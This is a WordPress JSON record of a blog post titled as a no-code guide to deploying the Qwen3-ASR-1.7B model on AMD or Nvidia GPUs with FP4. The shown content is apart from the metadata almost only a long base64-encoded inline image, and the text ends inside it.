{"id":2433,"date":"2026-07-19T22:42:26","date_gmt":"2026-07-19T20:42:26","guid":{"rendered":"https:\/\/konichi.co\/?p=2433"},"modified":"2026-07-19T22:42:26","modified_gmt":"2026-07-19T20:42:26","slug":"full-deployment-qwen3-asr-1-7b-on-amd-nvidia-gpu-with-native-fp4-no-code-guide","status":"publish","type":"post","link":"https:\/\/konichi.co\/es\/2026\/07\/19\/full-deployment-qwen3-asr-1-7b-on-amd-nvidia-gpu-with-native-fp4-no-code-guide\/","title":{"rendered":"Full Deployment Qwen3-ASR-1.7B on AMD\/Nvidia GPU with Native FP4 No-Code Guide"},"content":{"rendered":"<p><img decoding=\"async\" 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uF1EAgK8CvADIi7IHcOfV20PzRq1JeAEL522XXomgywhzWxe39zjteq\/jNHvMJlEATBueh8nT1UFUpf6qniOwA6dLFqvNh+YjyPBkEfgAtL4m43kzoARXASKfKhL8vFTtARPQi4AwwtkT7lwxrnhrVAdOeCyaPwgSrTkdqydaAB7DLEbUUc\/O8T2LOPPBQ8V9B+8K6mDuzUwXnH3v4Po983kXOpriHltUJjSe9QYt+ZSiBIkwMxZ3CqaEeBp0BGqmYNyyTTnNkTGggiD4cDMMnnLvtZ9SWaSrdYUuhrRcWI7Wjcjo1ZVmlP7v5zbT8eAuWV+9eRvUyAviLnQ8w9HEAVzKCmRCtdB7Ua\/rO0wcJX88Fny5FM1YCA5pasRxOkRII5YkGlyhW7m8aegWA5cUldGJ4aEq7jRgsdEGh3oBA1DWtx+dEADiXNboO58hMecnf65ke\/hhFgblBEu\/QrAAJhJFmt5VaQmX0buK4TISN7SAleErC6Hi+yjlSWWR0yUz2es7E6D0Boxlng0Io7vwSSjKgnbog1fe5W8OwycEnP50X1w\/wIRkJknovTjjGQtM3ME\/qw374VkUe4OjYkMSPmseCYwFxyY4BHnr44uXODyAzLe\/mJ2qQnepKtqiIvE2q7IoOBdstee0f6Mfqn3bYpnNvEUZ30m0Ap7\/3ceaPdfx9u3X8lElg3HwGcehmajkVElfWrKjByO7HftvOwMHLGDoA1cbD0qbTcdlDt6ooDC8kZviW4V5UrPX+wikKft0z+i3rjZwNeJHDYoB3BBDs+zgg\/Rq+voFKCbTIpe2igGn\/7wzo7a7\/+RXy8dryq8X493JlOsBJwv+IdyOvCKLCxZ\/SHGODD+z8rc13tWUO3pAr7aqm5IXRieeDX0+VYP28sSD0iXpWJO8G4Fckn9nAIwgbUyuOP42CCGK5hExtEem\/99sUZOl9QEKyOahNNiCSaQ9vePByB82oJWsHXID6BqttDM+NDmVH6fa2j8i6QDfgTmFyj\/PRTXhBkDiTMYTaLAMyk2\/83SJorDPxiVSvc3YjsXjLhNH+0yVA0OmjLfAEpED4EH36fFVRHkZYUngbasI2MqrOYJuDXkRmCvmFYHbx1vEp9GjkCOQIB4c6bFYXpx0KempRdsUhODhgVqBSarfFDDdV0deLuDE3LJ1In5ZzVJHtF\/n1rOqjl5+PfUUybzvN3bedbdA4zpkRqn51fY++PGbciiuHX28mrWUk7dUn2bQIwpbzW\/yzGnsIEoSJTS\/NbYfWN\/syuVhc4GNtZrNwB0kN64n393a3s9mrYekD8IPb3+dL3PlO127MpSdexTxIRc1GCU5w5S64PMrcaMiGd\/6GFB7Hl651AFWvbu4iaj6IE91XLTbiPDrB18nFdw3fkKhrp2dzaG9YVMBlkdSYRKEItWjibU3vs5JFuTCufb3xqJHQWxPHTY7ujNXeoSaGa53wGgWL9IkwAJ65az9ELxGRFZ3+Tk8GY9JQ3UitRe5GJy85Uxwy9iVrJfEd5KArcKsHGvvVLEPZgMvN4S0ftT4AvvjkuOIUEh7fwVorFGuaux7rjh+wwOXtc4uuybxFiQajc6I9nW788UHj7SU0ty3m2\/Mrzs6TYsKtaaQxtcRd1i2TiGL+LaK+OtI2ISofwGp+ky43YBgOktDFYLRKrIzpcYgr0RqZOgSKzc9mi1n75gZvmjELAS5YfJYpsNmqKY07R47PGWtrfGugZ4xBvqZ9vycslDqycp4Fytgh8rpCO1SAFslqshl1fa7BUwpe5b8LwzDNoAXVc2w3bwCbRPngB012j9FzrAYn6MTlVwPIzFpE2KDHjZTs8o0MOThBLhf37SH8O5tzuIF3KuUabQ7z243qlM3s6pz6Df\/Lp5tEqHO9XShncjR9RZ7amni6sJyfjXUGWPiank67vowWluefIL7oLPdgqDmOLfglWxszxrFSGH5xcP9p\/sacPEw3+gm9BIvY0yaeriR8poTf5UrxWMBOCFaidBsOwZTnHRVe9qG7Gs2nCq5a4lyJCFB+SPE+vxhdri7Nglc1L+x\/ryaV0uXE6cuxtCnuaDMM+5RztJtOcjvQEuKzHxeyPdrIwo+337NXjCmtoza9EhMvdOODsGC9PYn6ojvkX81KSLOsbX\/boYIZ+CuPmpHF7FfLq2o60m3opuGb\/47tH5C5ggmk36\/sjlna+uXQpCwHFIuMXHzKAXt0R6cQ41dGRGwDCf5A3x4cnfrPV9E3SVaZNzN9gDTK8ZXMqJY59u528nMA9Q1gJPzIPin68hK8gpP19cUWvZ0knxZWw8Hr+hN1ykhbU4Ezs0HnDyHV9c1BIxp38dbOUN\/8sjX\/xPtC1Zcdo\/cSSz2fIFKFXlFqGjU1cJLBJwqHyIOLpRV1kSldzNjIdDmWJKLwUb4XUq\/a+Q4JJANlc44rns7Yk1eD1nOb3k2jDS2rqRRq460HckBD+0hKeYp5EuSwF2jYfL5GPFYs2pboq8nSbG5Mklj3SveiCxwJanZeCLEhvc+aG9ULljT\/qFNHtwcjIsiWRs3eOHA4RTC1cfh\/j7cMKk3quGDYGsRQXzf4Drr5GoET+jckcRSqO+WBMcVe2etukXlEb6pXYN0uuHEL+kN5VwYmhMZ1y8f9XcAW7Pb86JAaUiQJ01Oq1fqJjMeL1T3p69KAxZHJXa0tcLnCTzSkeAX4TegunJyYbDgu+Wr1eD3LVT8gnqG48hZDQbj3wic9A4XBLUqUyQ1Yfmi9bN3loe6YmEZSJoRE+gAZYhj2cayoe0yRAB3e9VJMRyUKd+5jIF2R2kdNTaEiafEKePgsjRInFXR2urH1GsAlRpWu2jAUfqCdMkUBOUxTJnlV\/kRAtdMgd8Ol3Jff2MMaiEIPmirqBiP4xcm9gYtKlxsn4LBsP6tM6Bg4+z9jpw4y1\/x9Bz1WU8od\/Pt\/50w8aiM+0j1+UMNXmUB5hYk2VcHl\/XszfgAZErJEXgeoQSWdTRAYqWhOFPvp\/HgDChgC5o2uFq07yFBqQMOVzjj3UrcSfBMdXuCxOOUYMSLEI1y5uMBPwOsDsxCkyuc27FT3IPLJ9aA844jwjAmD4VYdCNRFoRR1ChcnnQDywo0PO4ik5BvUS8DsRkEcnbeWVMyBL\/DEtfQpD5wI2bgQeon9oQiHRsLeoVldoYOUUrdQltVtVSyPnsQ7Qj2SLDS6V23OKl0KD1nMGNIHebEkRDJe3dXMggNzwO+PsFLSVAWRQa1Eri68YbqHl1nLDXjPOPQ8EFfOHwTrsIf0BD7PmfJSV53yJhmbhbz8CpuKJzWLmalW3DYpRezk\/KakqTbr8zAc5u5olIRzMEuSaZbYAhmkn\/s0p5W3vgjV519+JPOziufTsDl3FPiFWDXJ4KtejI7xcE0KVPdUs7aprga9h3lPFV6+zKtBoqfa2zVkFY7ui9u98DEJyT5iFGQ49swUYVcnGmtVBygAdFIdnJ91IOS+RN3VMoWA7m1cwO0BBxkDALDwYIozJWAh+72luk77laHJb0QDnaaLtl8g6iV9YpLfyuUa67eMQuSNe3UXy2Qd+KJlkVE4L29jB27+fn183QY1XzsJmShXJAjBOgvea2e\/4W5MAteM93oft1dN8IKoBr08yYxxDClPQbTJEglvbD3gMmICUkb4k8OGG2r8Qw3uwXIr7feyUgz4a9\/pHN+q2sAy7+Joe1rHyHkIWGAcBpFnoEHaZT3NkscjDq0rC8lH69+ckqQOzFlQzZkLP5XLWcqqf6+GKc+OMP+FF6E5xD3c7gQaey2VQj\/OedyI\/KFB7OcCiqZtcc+2XBexqYR1y7QM\/EcWcDhN3kCwr2P0fTY0t\/gGI+6O332RHGtxtt4qjwA3Voo\/p8N34BoQcEb2Ti4FWqbXgbIIcFfaI53ZmxbfQi8KhqFrE++yOvDrKmv1bSmxcHHMdTBXikDJr4auFol2JEoCBabEfLqcXYT\/\/lQwTxJ+7ZzeY6DRcOjxiDlTKOblACDKX9cK4ExqnigYopFRCWlBA3EVi8LbaXD2UX90Ie5E6hcjU7GFZCz2xP8j3C90bW0Pj4mpMsWRYPptoc6SxAP7teAUjxSWcbyRuVP5X8rDCpwTvv9Ecn0pOsY\/P0Ui+sBYEtKHsN8N+YBRvPp8na4VwRhOLmuho6BTIxJi+vYs8D9Mhx\/Vwj22z3EoktkRbBhdXtgPzm\/Sfh2w0\/jyIdvCh9bPLp8brrk8gAxmN2G9JFktToEfk1e8I6vJm3kp5F9vi7UGGjIqlmJnW1Ko+\/N\/B9XJuak0dvGl5QPzc9yj8F9RzqKAs4mF\/GMI9o0WjzP7Za7UAVxPKSlqqFp6bKjubxVft6\/9fVPR\/Udhqa\/890xWg5olujkaR0o\/RAIZ++oMUNx4ZK5DChCQWRfNxNO5SUfQPA9ab+cAV90i6RdLW\/QljCmHTZuYjBVL7CdrIFIRwdCMtAw1ZRT3FEjQWXgXl2BGm6CLvjJ\/M7i3rvbd\/tI1LFsf\/e19xstAIMmHqPuugqnqaCxTJe6zEskWDBfQdketA0Ja7FfxEhpVXfIQlQsbzouWLRuGgshgFl6pAulHbXZRJuk8tATHhSm+\/YKn1SagzNgdcyxEpYsgha46PygfX+vwWgYuH4nTtJLrv\/n05Xa+E+CC+BSwxHNKYl+fuOZOOI+h6xcQAhWV+e+TFJiD1c6fFjsgMtVC\/YsEmV8mIxMf3OBTNdzmCSKvCefB1kTDOpV+X4hQjH0G4Vmv8lsrnhU7RFUeBlqOYvZpKvCLcLZd93ndfxHcCydcs6\/lqAPvz9OC68v+7P6nxvo5Z0LxFGToMki2X6DRYePjDWl5XrRqLbhp7sN1R\/i6GNdHlEr9ZGc7u3IgdzuMRlFVjI+LRedg9xbNLziccl2vS04o6CkTN8uGPbiGzSnb4zBHIRHeqepvKaLyK\/ajOnjaN74z717Gd4d5ViE314zvw0+nX6OF4ZtxKNufiPOWYWpi7JI0qpbyWCwcpiHvehhYZjVuiVxtllIttePC2b8aXgIcVkiuzPVr54eMHJe7IpXVNPChID7EnmqOe7Dwf6ZaCGeMtHOoH6Q2uOdsneUXLCXG4\/X\/Qe9T7RuErxKJCdZTpPkcttJAh\/MZ+mqbvc75dSsGkf8y+Zr9K9Y4Wz\/xd0\/HnGYj9VvzcuIeh9uvyMTcDK4\/HOFE0cBt+ixN4ePehLC4VFfB3JkuPGo1q9r4SJHdXZ1cTJnRzr5aA4VQg5+Sf6Mx6\/50ufkmZ6UXBEu+NpielfC1Zi60pMCgNwxwPbIngBosgj5z6sXT4N0nS3BflQWCr6XOpFEKfmJo\/wr65aLrfruJCCTyIr1c1iQlEN4dbDio+uM3viTa8iATJfS7MEyHphIZSquJT3n4aaIX58BuWdgsfKCwrFEk\/dxRF5SSqvLMJkmN9lsyqRRWJ+jd+ifwVupniozoPywGXjPm3XEZ6fz7vOKE4hWwJ7pcuk8VutXQcopXpSAleCVtnZlxNjgdcQM3rYMh1hyEp3vIxqP4FARjcNtfspxw+t0Droqihu6dlG74YmPC7rKSboueesTokyB8TPx3vojnmvBB3Q2n9rkWl+y8fuJfKhrzFYwV0ux6OGyGQXd50uOBB4u+y6\/zTLc3rqnbz630wT51YH4zJY8GnnubknOu8ylzU9ZqJ9IqtTKFVnMXKuusqM\/7W+M5YSH\/dgnAveyno1kfAKokFVe\/z+egFzeEe3JDkg7rB\/74L0CPVrIe\/Ei0S8LpIvhBBQBRnOrbTd4efdZH4D+065OOAi8RZXYe7jxy0NQlEydJACHrkpiCLHz\/Gwie3S0pCGeeFo7dSWX9zoeKQVvwgPFccKOUQM4r0rxE36gsuqa5lEgNQ25QZS+oXuPv9vUHckM0wEHqRaiDOpIng+Xt5YRAf6VeEKVZh+TGcaH4he+s\/IyuhDReQHV4\/ygh2dx4s0DT9l2SGRtr7p4ZHNJEOXH4o3\/e1vWHXOo3W6pRgVceetVf\/\/C+UUyO7iZImo2gmySnzeAyyJJJ3gaRkWEncqxlaHmjdH3JDtNthkQTbzFnQnnz8siGCJ74tIIg+j6Sy+DpI874DiCVxvdBqxabQEbCYmX6alwyuoFJXlAkIavOoGhOAtfc9xC4y6237+OtFvl0mWmO7Ce6G0rCThSYfp3GBTWDxwEIGrKFCbYwXChVjZDl50R554hgmWoLGbQ51ebzyVqzpLQVcmxMECtZi6iBh3SpU1BD\/b4\/NhHQQyE2LjsiwpMJS2v2e+e68A14EUxyc6XUZpqII9PBYnWceV\/O2UCCH+BJSimcs3HnfV+qTrXCRWkcn4mh9kHfMVXfZoE6VzOeMpdkpu3TF0Ho3BSLvUmi6rupOpgmkCs1RfrnepcvE9GdSnaVsEqP8jT4u2GrOnpXrYIWm14e+Q4CqY1szX4kYNeb6e4YGA4V9jQemTKkDvr8UmLIq\/H1HOHIW7HWQEKzTRjceey7KuNBvn2DgcAoTjbx9AtsX7N8FpXkvkElN7nmCTENNQBTFC+l87WEI0RKubkx7fx4aeC3nhJxd8Eg6N+JEJQlLvJWbWQxQI6mpsic0dK6gyfsUA4Bw8aIbFmRRfU0+zmRULGARJ9TmzJnxPYdr1sOYJBi9MGliEhxZjZVc+EaQHoJJIy9onkCis8bLxdALFYW6zXSN82hKEpOXYWiZIPeG9PRbGXtkVVhkQvn1IlBGOCmV20xuU0qYln5WjH4SBzCOPnyi7dkgTUJ39HTYDskK+E4PH8A72xR4YSmMX0rH4ubyjrXWj7OB2b2O0I+Zk8NYROOsGfInN3h1DbUotqSLShLlI00h9O+C7ed\/+F8opk62kzAbIrtbEMHkzAA72qqOhembcu1DCkxnaOcKyOgEIjhCLLwmbpsKiaMAgbwdsbFtvnVWvVYgdmD2XSShCLhq\/KxZGe\/jQRbJMYWmo2CcMmxPZFpDJHoM5AWxoGULdXlmkiEjYRLP0yBjLp6KRDxZdqA5w9uoBAnQ8VYnfcEfPTqhl1ppTaqEQTpv5LTxKsaHTdp+IMmFFhiF1AM7SmOBUMPfPYu4soB9KHuGVxbLNawfS7cPf56G4mErhj8xQfnSPvD\/UUBwUIJtfcIgAsbgOSfasTnb1LA9Pl+ct8j\/HaaEFn23vtbI5Lrf9p601cA03vAj7ZNxSheoyY70SQvUT2by5iHQca\/9YQA9bBsc6gOfxMSOOZqO1SjRjjWoEeJMpXiCVIM0nizMSh\/OzMmdGBpaXpc1dqHtJA5YA0+MWWMdwPSK27rG9QIbA4yc7bFUdR54I0CJFcGLgecKyTbcaswU98Nh1oY\/4ebGIo5HeBigXrsJLd4gY9Amn+4WaJzH0FwAazKscLn2V\/DQEKUQNNL47E2kEwB6jLIAynsht6N6iR4O\/J4PspCfNJ1S1lML7awmmIbsXLijWcC9MgdmSv7+vUi8ypW8MKOyjQMeRd0zWAhlZplcELW8iljvPT9L2JRhurybqpkqh1u8zGe5F8xMeIwP6zOYTlow1a\/zAKXXwAu1QmIkE6FmYouolITE8SStEnQ+pFlxZfsOCKd+nPDTtlUcSRjjHPu1YRG4vB2jXfKETN1plJha26M6DT2zbhegOojAz2ahR7AQ6HNF5QERoa1BRcRhs2O2V93jyttsI0ZuTkOTHszXyaRuHkcDGuXkDKpTr21S21mIIvyue6J0BGIPTqjDz3jv0rM3ReCLBdSEDJ3VEnx24IFDCUsA7TXQZa5TSHgkmRS0opCJIcEvBy0FuKK6nqGsC5jeGqgKyhShv+r5Jh4WJLKlfyQQDF4sFterJSwwpGPWqGP\/r2p5SFwaH0Bf+EQ\/t9ueLTmJV5yp4EFvNTn6ssK3a7dRL3wQ+QuCVAL4DJL+y5vf48+ODEPMBQi7Bxt+U3YZx0EfY4dOcXxW8LO9TxHwc+5G5qjwRN1vP1AIh4t31xHrBm\/Km56WsALBrjZPmCezk6xsUDNoar98G9bqxI1JGDccUAvLs3kBIJNNUKKBC6HCc0QG5rhCnSrIq5bE+KXv4m+EczbfcpXHDUxfNzkViIpKww2k34v8zRkUfhj2Wh3oTfWGaq89hJC7lcgSkSUlX\/vuDPqssh+PoAzTYgQPwxByMK2iTcJVPTZm9WjKSX92PpwlxudGZYlYK7amA\/7r4+GcGOWTodbCEinHy29iorfIcs68rlUGxA8rOIbytD7hri4f9AS4KJSR1CX56qDJaXNwSD9i0PtFCu7KpvaVcgfi+2uvX85IefZyXI3HZA57zKJi3DtgUUDfYIGG9Wv0F3OzQLJLWr8kktrD8ck5U4fuIq8JMjKmRnVn9rix9hHfaKbermrs0C34+PfxnM\/klSF9nb6I72PQWkm8yjAN6sKdwagnX\/L+d6Z7O95XV7oYgWITWG5WD+zASCCYLve0K2U9Iepay+Px1n0Q\/RWUTL6SuFLDuXtHW9yebLJ+ZBQoOu13n+dbTY+wMmBAlD1mGr6cRmOHyRG8GRd\/xoV+pRUhh+TQHJkKlQeg4o7GJ5IDBEIwh+kB96+7BGJh0NKeDllXpsE2dxKgp7FuxUtLHnw52YS8vTNS+SgCi2UhTGzSCGa+ydSw6t28m\/Y2bu+PBWndMWTsb9peogQKSJn8+GXpU6YDqCzKYKpQpusOKgII3GZ\/fERYWFVLgsjgnTF2h6piJI\/T9tg3NXvyziyh+liitWdYrW2kqZr519CHL+ofb0s\/WuptUsLvJw+tYehxOnYIIsvq890te38NrsmxxldOJLn3t+XdPhIIWQOTiUTMawRvO76BjzL5QGOHlAzV1nW4GhGlq4nkcFjjDsPNIr2QOX2RLCNWzUwbSHw+b+cBiNGw0TYH1xQk0NaRlEgzdU2e4Iyu7D4aUl3O9XTNFgTp83FeTs7rlEGcPMUWPC6zkWgARZ\/KAOPijooAqRIk3sJ4xXiu1IHkDD9bFlawWVwcHl4hF89rm9MSxAjIUVinDZ0za77TIWjTkl0rwIwViiLOG0DHL1OMIzaenk9xVr5Ak1\/Uf7AqTqjvOvSl82MJ4p9wFJlv5NqoDmAyM8uGRLRdi0wX\/y36h3sM2UdE71mR7fc+AU2+cdX\/rEVIcdad+19lnsFjO\/8QjKkiXqN51MmlxUA0FU32XK7CV\/INCFn0\/kSzxuknJtRVSW\/3fELm\/CNcORgWwaWELe\/\/e1BLym0iMd4zEVl+jNJqoWCdNfyV0zB3RunSysrPN+rBc\/HOHj0Ff6XkfEJgLBaG+zizmRaJPQnvLGtJ1U6xY0Z+fTkVZNDSlKlZztC17ncr3JYmgB63UzIiX0PHDWbdRG\/891TyKTc7obYb1jsIaEt8KBRX5GDlQggdbU\/gKDFB58mz89KIPQvkQnhCNTUNB7VfuAdFXkDJJf8BtIwDvW1Syzq7JJ1bUqwrtK83U2+5pwVk+X674p+KguiHyCX3hYDAnktCX1eA5MTLVIuwhsU9BsHhOkvd3D4ofMJgh1PgNMGQFIFPJg34QVRFgGnhPC243Jnz0XOBGWsuD154\/jI9YfH560Jf\/Io9TPnljp4rB1ct5D5o1RRKJkWklFX9LrNpEJOCjTEPquBrbOKsMa0uhjdq0ycrQFUKw1lKRQJ0Lxv6nKrrtddtuoMbc80DJTWOB4LrlH2OgXVTftJsBKR8a5+E7Wq74eka5DuJgzfqZRcx6ps6rt51WRe8BjJfGy2ewVOpDA3AOs5A10mxAT60d7TVY+ias1Aq7yZLsLBFkTDtkpgx2DUcwAgtwRSvlM9Lfm+mltXD7MUsnGxwG6cKpf+quekEiHrQ1CAOfBkYidNX7ZLCDdOuo1eiiMDiHKUEZlZp7ZB+5FjY\/Tz1tyW8c7yJ9A58Vk3HrZhApllqBV3+TwtoLzbuNM4odP0SY+C7UJwszgA3C7I+3tKWU0ukiloyW4sABN0DPsWtpMgrKiJk\/lEzs+2XUc7kcbPoqvmNBCl1BLKTtHoRrnXZG8Ah6Rls96T7qKihirnPamIQ\/0L6wm1OJ83wGMXDO4gOikj3N+fKnM1slQdNcepJSYZSahT3wGw0Ood3d2A9fIIJI1pzefxkGXXRk1GwTIwK+GeW5SvFeh4M5PIEtt2Dx6GUVhM3TFSmaZU4Ya3RvSN4j3ZwBJh9z1plyrdOyLU89lrK2n0a\/Gtzr04xcLpS7ZS1Rbb5a0tSEwhTYhZysnpP6VJ+S8UjxLP9rGeCAm8ZxJD8Ds3xKGw1IaF+3k4GS9ZHz1P8LtKds1RvACOWBRJVKaglKWnl2eXH2WiLR7A24lZAWDAMLYo8rXVPGk+hRhQOW9N66lbsAabOizQ6hiHSolgq4Up2u3aeo8kqpGPGkeBMUtsHsdDyBjAdaQEpCZUBlYT72mEqHwAMnQqqNePgug6jMC806w25YEFka0B6tNEyHzVlSZkjuHH3z3d1MWDBg6SG9hCUvbrK+2zkZtByxGPS6HCPNy\/e3SqdA+1aDvz+whgotiAEvT72bxtizTVZb62RN959iSdMFSmb7hUec9CDohS12RS7Fzk7O1DsWgGqrsGfCalaa5qvx07D6FQXLFXKq2VKuBRW62HJCGEw57fc2amJ9I\/C6oDEkim9nr7Rqx7i8jnh\/JCcvf\/q7f8yMb9Kj84XbFaxp0igrbis5LGMaPQcq9arhtMVUi\/OxlprkaAbGw6lHSGKjUky7\/\/l\/ZUjSD\/\/f8oZ4Qv8fwa8F+FZLtW36DK7FJYbJTv7TqTS1EZVYy6jZRTB720Cyq5BYy0j7p8hBqTmJiv175tUo1H9ZXHL0Pl3ORhPqtlBrntnYCXZpk27o1xZZ0HJS4f8majP8qE3bLnFpYa22KWEKzC9LKzEObauaESr4HmNUayi6LcbBjGIp0KyIsIkC4CvAWWA9Qm8uMPPzkC1N9pmv5a2UHz6V9N7G+Qxqhn5DENwp84HNOxvOFQ3i8Yq1w74\/DE5Sg2qlt6Z13+SihSB5nJezGfUyxWLlin5eiMG1ko2lqyuUMgMIWjjC9pPwIYFE5cqpnk2i12K6kbR5LnA9cGQSsn6bg4rizgb4RObX0yLXiJWLkiIytZX4JQL8dbveDwE9V\/4ed39J576AHJ3vat0ivSKniT5V7OEtFPmDEZsyZrqgW9CIWBhIPv\/k0Wuv06yUXszPHE4n\/2uAIp6Eb+Npe+JH4dV8XBzNzbp9n9zHUDSxd3oym3TeKgxS1tqI6G7PZM7AIKxeovKer+5dTVL571G7paV2A0ple\/JU6C6PeCHbaAxcSZ50cd5Y30qF3D0DH4SjGNib8mmLUmSbe9duz29JdfUfHga3Jxc4OBYSvmUzepIoZys4Zi8ryz4zPeOXeSnYgpAN+CBlZb\/cg4MI\/21ayvQvRBNaZzig2teTgb38Pye7NoWsMOxKanyIwfK8Lgk2QggfrlrYVDLfhXjRnMogMJNE+7bu74bf+kXHiqXJQQGT6ZVPmK3zxVVyaRY0iScjOhnwTVc1txLTYvLJx\/mraMbwAIFVUjnu1jM9aqw8HMMyBkS4jUOeIEO71oQyi6CSXVrjmYePxzOfmPMxgkIW\/ZeTgSCmVwNZgnwIHq\/yrje7QsbMDrUir0DcFLalGwEC+vOOCqyvm+Onz9cfY1X8Zf1\/ydtCZOLqnzBJ3xt3\/VQ\/F1agTlIVg8SlbJJNSTc0eGxism1Qi7G9pVsGxDAquBbovcZbA2SSA1dkX1CM459hzWVzM9TyraxjBRi1DsdQ6xhoT6npWHIKI33qzzEBDdpLyWPyNrff+xBEwtCT00tQ5MLpoXfDTIzLMmPhWoxVCsIu2a9H+a1e7mwOZ8Qg8QVvkrehD7wpGmahL71iQ35oC\/e5Ye\/qConQUCxEP4jeCl+2NfYjVtvNeMyuXB67UpBUnfxcxwmSvqgeOKQ8RgsxTEZoPQpV6ffVqft8u7CpemL+lJpHOu2qQYHQ7WY\/F5yllnrcffFUmF73EDZwrtbvsIPNwfxfDtAD0PXCVLYA44+Tp6u+TiwdQeC9QWEOYUsyQAwLUZ3V4EPlQy0vvDcO+w2E1+mqtjkxqCCLohCHViRtvr3ULgg55NYNPcz91bezPOuXI4kv7Rc1oEjzCtF8jMemDbvjRuSCPORiOVrGKwbSKvVPw0oS9hZS+8r2\/xZuDiT5D1wPcVvT2O4N1bIgWdxFnOcfVMuBGRcLX6Ywe60W8GG8agmniHVkf4eg+PH9p3wV\/TXKzh9rIJ+IzdwbcjaXjSica58UZkBWc0ZA\/oyWFMlj9p1UVgD3vVIVcB6Eoh3pV5aE79\/8w2Ye29yOtirHxq+LCpGBOHTz9AR9vtrd6QDfS4FTiweXc8n68vWYkZLFdxgrJT5\/er5+XjTPqDkks0PqU41nFblnfLu9rFbSKf+REWb8S41pmcdTMGbSgQnqqEdrYSLNMayutI\/K7\/M1heLaU8jcGvKT6uklVA6vx3qKF1AocYJ16PH4RhaRg9YTuczR5UF0c3oqZiYGWGfSfgCvuQp1gFgzWOwl0Mg0KKRlQ4Q7HjI5bKFolnccOD\/LvWpWby7VlBaBjSfckS739awC7RQEDWJRNlYdI4kj\/CTPWGC3Hs3bgffgwhUi5S0NTc2IcHs5gVQGenJPWqp+myI3ZNtF0EmQ8VYokyIz7tVNcs9CWdI6fmo5swpSNb3EOgWrFYpoSj8py3M5NSG1\/454deP8vZrTB7gjdoynGN1ohN3KG8r5IZQQvVJRElxDZEh+EKT6v1FZB3XgbecjCbpYD1WEsxx3uekc8uwTcgj8vRyP9SpIEVVA8DdZ7CEtOlKwLZ\/eytJ6Obkq7oxFUGgand7vcHK+owv3J8F0V9nPhN4gyS6nv2DzniSAZZ85lnSXd5Dmll1yvdhwBQrXEn37pZ4FWho67dpFatBsSadedVjAxz2pQPtSZXqFwXjXzaBBV0z8kvxL0ByJT8b0xTgoKUzyd6UnDZnNDF87H4OYsZ6Pcuxt+ysdd+\/Er48rty+WwFiDouxHZWeHQrKeuDrWcCdxIh8eCTeG4x\/NC+oCgM59QHZALXgMtNRNg1M+yCnmjOt8PyHref5UiluKzGCABZ56zI55tb8mdAe5RXiPMjj3f9mST1RUxTihBHv\/ZWhS1pekDoS\/GEqh7jd8ORPeoCC4VprSBcp8IzMI+RO6o0JWqR3mrLmIBgARynfvOylM7pyaDWPbkcY+kejWvkE8heTjInAoivcVHltQKyJ0KkZuvFvQX5GCqiOkGtOPU5UEFVGv4roBNi3C7ZEhlRiWj4i3vId4U4Q5imYVFg6\/8FraasArsl4z3puxTFP6p4FB2AAwH6sZTkV\/IjaChT77Grpa6wtwI2SUS8zmFYqhboPRpY15DRU3DIxLWfyIeZwCMxYGydaDcOW3EMfqakRd\/ZogcwUf37Fo\/SaL4phg8XJARqVtqCfN\/ovSSehpCQy2qWjR0Me20F7RXbG+EKUFTKVqX3cv5x0i+m1hE0nMqCC2TzCCHp4fWv9jWmjEJGAxGPU86l+un\/ZLyZeP\/OVrVz7+nSZGvrgYZnQm3B654rP+6xjSB8SlLbdIvnenJmbvnMaHBLEUi4MTcWV9w8c\/qp2ffCcRpY156ucvxro5Q2do9mp8GyaqPjmuiM1Nwh7j2omfkwNBEGSx9Ob\/tguKjE22Fio8SgZ9+WKmycLp5FCOxLRRk7yRrPzGkjjvqBzYul\/\/gqaWsZYetdqWNnG52HYVCrAfCSIFh4\/ZNJ0LzUwqdf\/LnT1bRuhiky+m50l2RXMma8n76bQYB02KNym\/VeqMlto6MYQzPJ9csr0tnx2uSzIPCaFpNUAcvHdq9BQ6tNWBMDfAgxAdMky\/CihZa2JIdYLbV2Shya1S5Rv5I46iUHzxhaYr5UdBqGV9zb+GFVxjKKmrqbRTE\/6g6tobrcNjP7fwmPtPa\/YvSgLcvFIykoUVwqIlxk99LJIH5BeBDz7XAGXfB76+xipI9pnQ9lB+mOvj4pNoL5YqY6M8PsxKg5eIIneCHv3f8imqcjJ+lGO6LTWktBa2kG4o4HqOd1sLbntSd1kGAICHugt\/jGpwiKTPjsDyL5WRORsg1XMQAAApBgEGd0azANWHnWwVokDWNOLDRB\/6APYwkL5pF+ExKJXH+Jqe4uxICYwfocvj90v9dIG0zZqciMjYTgOYVOolsGu6bBR86csZMtJ56ArAWnCb4GAjburPRc8+tZnsLGyiPDYb9\/BFITlxm2qD5cA9PJnKE6OwpQhaQ8rm2+UJvXs2qIbEUhQhKxpIKs4eiadmb\/yNoqPIy2bagUeb5dwUJ7xIBo8eyfo4Cd\/\/4NvSBGm5PEi1dEv+9dkNzHJAdMjAygy5gbtiiHTTIrVjjwGk1bOB2x4Lh7796JC0KVYxR1MWOHmcq0HqV\/fHLi9kVUdJidbISBlYv63azK+v+1Si3dxVYNueQJBj6lKeL6l+w3RAlSX6tU9zwgLJaOTue19MXn2YQKYsiomBnFpCiJVQAULj8OR2+uo1gGWRcBcq5oU1j\/FqxVj\/AREjili0fvRzqLC4Jg2NqH1bd1WarVcgLVwQVZcCBWt2kqsxg0wCu8nPSVE9OGROUEwQQPCAshg7lIuVttgvn7vKFxZQ9U8XtqlSgn8oFxyL2tqVMcVJ472lQqNQH11t0dltnmKN8un7bGN8no7HEeq39xrjbd4iph4G17kuFsENOP7+V68kiKgTaZHxCT8GzuR9VWgf2YvkCLmGpQto04pNLWAWIZ4Ybxzuv9XF2+GjXCaKsssfs\/LBy7B1gEjIl+5+3EFdo987fm2EdypH44xd7XxKbgD19KsU9b52GCEfDl8ODj9tVLB9p8KGQsealHArkRoI++cfJqYxm1QzXaq+jERE5\/qGYYkRhHXlDJdwNAJHk+\/WERX9Z4SOmGnuWfgm48ZsPbXUpkSltnY3ah5okbAAAAFNazKQsJwzj4GHioCShfjW5JUb41oPw8xCWCB66V+qO7G1TfdFjlIgu+xXvFshg7wVhNwTzSrQXHT3a\/TrfinI2msFwMFleMIQqZyHF76fx1\/0GhWca7497T4U664PPiAwbF+P5Os2rl7T91s+5Sd9ejffouRZ6bZ\/c4KcuToV\/q535gky\/0LudptXGDauge1\/aCagve3iEHm7N1pwUNkBX4ODzgbg+SZTQbc9km3aqgVEYavWKcBevhuaQhsSysn+PHuUp6c+LIUOEj+CZ9FSKlJjUAYg8hA9zeao2DbnwZOQumqfxjJVXPNpRsVf1vEJbO1xGm0kZEuAFb9